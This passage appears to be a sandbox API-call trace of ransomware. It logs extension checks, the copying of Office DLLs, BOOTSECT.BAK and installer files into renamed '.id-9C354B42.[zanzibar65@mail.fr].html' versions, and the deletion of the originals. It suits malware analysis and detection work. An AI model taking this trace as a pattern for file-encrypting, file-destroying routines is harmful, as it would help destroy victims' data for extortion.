lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.045] lstrlenW (lpString=".7z") returned 3 [0061.045] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.045] lstrlenW (lpString=".dbf") returned 4 [0061.045] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.045] lstrlenW (lpString=".1cd") returned 4 [0061.045] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.045] lstrlenW (lpString=".jpg") returned 4 [0061.045] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.045] lstrlenW (lpString=".doc") returned 4 [0061.045] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.045] lstrlenW (lpString=".docx") returned 5 [0061.045] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0061.045] lstrlenW (lpString=".pdf") returned 4 [0061.045] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.045] lstrlenW (lpString=".xls") returned 4 [0061.045] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.045] lstrlenW (lpString=".xlsx") returned 5 [0061.045] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0061.045] lstrlenW (lpString=".ppt") returned 4 [0061.045] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.045] lstrlenW (lpString=".zip") returned 4 [0061.046] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.046] lstrlenW (lpString=".rar") returned 4 [0061.046] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.046] lstrlenW (lpString=".bz2") returned 4 [0061.046] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.046] lstrlenW (lpString=".7z") returned 3 [0061.046] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.046] lstrlenW (lpString=".dbf") returned 4 [0061.046] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.046] lstrlenW (lpString=".1cd") returned 4 [0061.046] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0061.046] lstrlenW (lpString=".jpg") returned 4 [0061.046] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.046] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0061.046] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0061.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.047] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=15800) returned 1 [0061.047] CloseHandle (hObject=0x1c4) returned 1 [0061.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0061.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.047] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.047] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0061.047] GetLastError () returned 0x0 [0061.048] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x3db8, lpOverlapped=0x0) returned 1 [0061.049] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0061.050] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0061.050] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.050] SetEndOfFile (hFile=0x22c) returned 1 [0061.050] CloseHandle (hObject=0x22c) returned 1 [0061.051] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.051] SetEndOfFile (hFile=0x1c4) returned 1 [0061.051] CloseHandle (hObject=0x1c4) returned 1 [0061.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 1 [0061.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.052] lstrlenW (lpString=".doc") returned 4 [0061.052] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.052] lstrlenW (lpString=".docx") returned 5 [0061.052] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0061.052] lstrlenW (lpString=".pdf") returned 4 [0061.052] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.052] lstrlenW (lpString=".xls") returned 4 [0061.052] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.052] lstrlenW (lpString=".xlsx") returned 5 [0061.052] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0061.052] lstrlenW (lpString=".ppt") returned 4 [0061.052] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.052] lstrlenW (lpString=".zip") returned 4 [0061.052] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.052] lstrlenW (lpString=".rar") returned 4 [0061.052] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.052] lstrlenW (lpString=".bz2") returned 4 [0061.052] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.052] lstrlenW (lpString=".7z") returned 3 [0061.052] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.053] lstrlenW (lpString=".dbf") returned 4 [0061.053] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.053] lstrlenW (lpString=".1cd") returned 4 [0061.053] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.053] lstrlenW (lpString=".jpg") returned 4 [0061.053] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.053] lstrlenW (lpString=".doc") returned 4 [0061.053] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.053] lstrlenW (lpString=".docx") returned 5 [0061.053] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0061.053] lstrlenW (lpString=".pdf") returned 4 [0061.053] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.053] lstrlenW (lpString=".xls") returned 4 [0061.053] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.053] lstrlenW (lpString=".xlsx") returned 5 [0061.053] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0061.053] lstrlenW (lpString=".ppt") returned 4 [0061.053] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.053] lstrlenW (lpString=".zip") returned 4 [0061.053] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.053] lstrlenW (lpString=".rar") returned 4 [0061.053] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.053] lstrlenW (lpString=".bz2") returned 4 [0061.053] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.053] lstrlenW (lpString=".7z") returned 3 [0061.053] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.054] lstrlenW (lpString=".dbf") returned 4 [0061.054] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.054] lstrlenW (lpString=".1cd") returned 4 [0061.054] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0061.054] lstrlenW (lpString=".jpg") returned 4 [0061.054] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.054] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0061.054] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0061.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.055] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=537504) returned 1 [0061.055] CloseHandle (hObject=0x1c4) returned 1 [0061.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0061.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0061.056] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.056] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0061.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0061.056] GetLastError () returned 0x0 [0061.056] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x833a0, lpOverlapped=0x0) returned 1 [0061.249] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x833b0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x833b0, lpOverlapped=0x0) returned 1 [0061.258] ReadFile (in: hFile=0x1c4, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0061.258] WriteFile (in: hFile=0x22c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.258] SetEndOfFile (hFile=0x22c) Thread: id = 11 os_tid = 0x96c [0032.743] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x2e0758 [0032.743] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x2f0760 [0032.743] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2702d8 [0032.743] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x273098 [0032.743] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2702f0 [0032.743] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x3720020 [0032.744] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270308 [0032.744] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270308, Size=0x20) returned 0x255cf8 [0032.744] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270308 [0032.744] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270308, Size=0x20) returned 0x255cd0 [0032.744] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.744] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.744] Wow64DisableWow64FsRedirection (in: OldValue=0x2c3ff58 | out: OldValue=0x2c3ff58*=0x0) returned 1 [0032.744] lstrlenW (lpString="kernel32.dll") returned 12 [0032.744] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.744] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.744] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.744] Sleep (dwMilliseconds=0x64) [0032.931] Sleep (dwMilliseconds=0x64) [0033.194] Sleep (dwMilliseconds=0x64) [0033.830] Sleep (dwMilliseconds=0x64) [0033.991] lstrcmpiW (lpString1=".BAK", lpString2=".html") returned -1 [0033.991] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0033.991] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0034.004] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8192) returned 1 [0034.004] CloseHandle (hObject=0x170) returned 1 [0034.004] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0034.005] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\bootsect.bak.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.005] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0034.005] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0034.005] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.005] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.005] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\bootsect.bak.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.005] GetLastError () returned 0x0 [0034.005] ReadFile (in: hFile=0x170, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x2000, lpOverlapped=0x0) returned 1 [0034.030] WriteFile (in: hFile=0x174, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0034.031] ReadFile (in: hFile=0x170, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.031] WriteFile (in: hFile=0x174, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.031] SetEndOfFile (hFile=0x174) returned 1 [0034.031] CloseHandle (hObject=0x174) returned 1 [0034.032] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.032] SetEndOfFile (hFile=0x170) returned 1 [0034.032] CloseHandle (hObject=0x170) returned 1 [0034.033] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x27) returned 1 [0034.033] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0034.033] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.033] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.033] lstrlenW (lpString=".doc") returned 4 [0034.033] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0034.033] lstrlenW (lpString=".docx") returned 5 [0034.033] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0034.033] lstrlenW (lpString=".pdf") returned 4 [0034.033] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0034.033] lstrlenW (lpString=".xls") returned 4 [0034.033] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0034.033] lstrlenW (lpString=".xlsx") returned 5 [0034.033] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0034.033] lstrlenW (lpString=".ppt") returned 4 [0034.033] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0034.033] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.033] lstrlenW (lpString=".zip") returned 4 [0034.033] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0034.033] lstrlenW (lpString=".rar") returned 4 [0034.034] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0034.034] lstrlenW (lpString=".bz2") returned 4 [0034.034] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0034.034] lstrlenW (lpString=".7z") returned 3 [0034.034] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0034.034] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.034] lstrlenW (lpString=".dbf") returned 4 [0034.034] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0034.034] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.034] lstrlenW (lpString=".1cd") returned 4 [0034.034] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0034.034] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.034] lstrlenW (lpString=".jpg") returned 4 [0034.034] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0034.034] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.034] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.034] lstrlenW (lpString=".doc") returned 4 [0034.034] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0034.034] lstrlenW (lpString=".docx") returned 5 [0034.034] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0034.034] lstrlenW (lpString=".pdf") returned 4 [0034.034] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0034.034] lstrlenW (lpString=".xls") returned 4 [0034.034] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0034.034] lstrlenW (lpString=".xlsx") returned 5 [0034.034] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0034.034] lstrlenW (lpString=".ppt") returned 4 [0034.035] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0034.035] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.035] lstrlenW (lpString=".zip") returned 4 [0034.035] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0034.035] lstrlenW (lpString=".rar") returned 4 [0034.035] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0034.035] lstrlenW (lpString=".bz2") returned 4 [0034.035] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0034.035] lstrlenW (lpString=".7z") returned 3 [0034.035] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0034.035] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.035] lstrlenW (lpString=".dbf") returned 4 [0034.035] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0034.035] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.035] lstrlenW (lpString=".1cd") returned 4 [0034.035] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0034.035] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.035] lstrlenW (lpString=".jpg") returned 4 [0034.035] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0034.035] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.035] lstrlenW (lpString="Setup.xml") returned 9 [0034.035] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.055] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2296) returned 1 [0034.055] CloseHandle (hObject=0x174) returned 1 [0034.056] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.056] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0034.056] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.056] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.056] CreateFileW (lpFileName="C:\\MSOCache\\All 